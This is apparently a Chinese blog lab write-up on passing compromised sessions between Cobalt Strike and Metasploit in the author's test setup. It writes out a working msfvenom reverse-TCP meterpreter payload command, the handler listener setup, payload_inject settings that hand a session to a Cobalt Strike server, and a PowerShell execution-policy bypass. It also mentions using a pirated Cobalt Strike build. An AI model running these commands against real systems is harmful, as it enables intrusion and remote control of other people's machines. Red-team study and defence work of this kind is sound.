Cobalt Strike 是一个为模拟对手和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁。CS集成了很多功能,这些功能为渗透测试提供了便利的操作。同时CS还支持丰富的插件,通过扩展插件支持更多功能。
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。
早期版本CobaltSrtike依赖MetasploitFramework框架,而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作。
Cobalt Strike 官网地址:https://www.cobaltstrike.com。(好像国内打不开,需要梯子,打不开的原因并不是因为被墙,可能是中国白嫖的太多了吧。)
以上是2个软件的简介。
这2个软件我经常使用,但是可能实战经历少,没有遇到联动场景。我觉得2个软件之间联动起来可以发会更为立体全面的功能。然后网上搜一下,原来本身支持联动也是容易实现的。
今天记录一下CS和MSF联动,也就是会话传递的使用过程。
为了方便功能演示,VPS运行CS服务端和MSF侦听,S1是win10,模拟蓝方,S2运行kali,模拟红方。
第一个场景是加入红方控制了S1,获得了CS会话,想要把会话传递到MSF,使用MSF的工具进行进一步渗透。
1.在VPS上运行CS服务端。
2.使用本地kali进行连接。
3.建立CS侦听
6666端口随意设置,需在VPS安全规则中设置允许策略。点击保存后提示侦听器已经运行。
4.生成payload,为了方便测试我直接生成PowerShell格式的payload
把生成的payload拷贝到目标主机(S1)上,使用PowerShell执行。
可能会提示:
cannot be loaded because the execution of scripts is disabled on this system. Please see “get-help about_signing” for more details.
需提前运行:
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
CS上增加一个外部侦听。
IP地址为msf侦听IP,端口为msf侦听端口。
然后在想要迁移的会话上右键选spawn,中文版翻译的是攻击。
个人感觉翻译不准准确,spawn单词意思是产卵;引发,促生;
可以翻译成孵化,派生。
点击以后可以在msf看到有会话产生(需要等待7秒以上)。
这是使用session命令就可以看到活动的会话信息。
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.20.100 LPORT=6666 -f exe > msfshell.exe
启动MSF,设置meterpreter监听用于接收后门文件反弹到shell。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.20.100
set lport 6666
run
把生成的exe文件拷贝到受控主机S1(win10),然后运行。
可以看到成功获取会话。
使用background命令把会话放到后台。
调用 payload_inject 模块,将指定会话session id注入到Cobalt Strike侦听中。
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.20.154 # CS服务端IP
set lport 80 # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
set session 1 # 会话id
run
上面是命令,下面是运行截图。
可以看到Injecting 成功。
回到CS查看。
可以看到建立的会话。
我是一边测试一遍记录,中间经历很多异常,就是莫名其妙实现不了。
这中间换过CS版本,换过S1主机操作系统版本,也换过拓扑结构。
最终实现了。
我最终实现的环境CS为4.4 k8gege版本,S1(被攻击机)操作系统win10,payload使用exe格式。
使用powershell和stageless的exe在win7下都没有成功。
powershell和stageless的会话在win10下可以成功。
看来和终端操作系统有关系。
至于测试拓扑,CS和MSF在不在一台主机没有关系,CS和MSF是VPS也可以实现,甚至CS是本地主机,MSF是VPS都可以实现。只要网络联通、端口不限制即可。
进一步测试CS 4.5在其他变量不变的情况下实现不了。具体表现为4.4的版本点击后会在命令交互窗口看到有提示信息:
而使用CS 4.5版本的话没有提示:
也可能我的4.5版本包有问题,毕竟都是白嫖的。
这个过程没有遇到什么坑,所以也没有更多深入测试。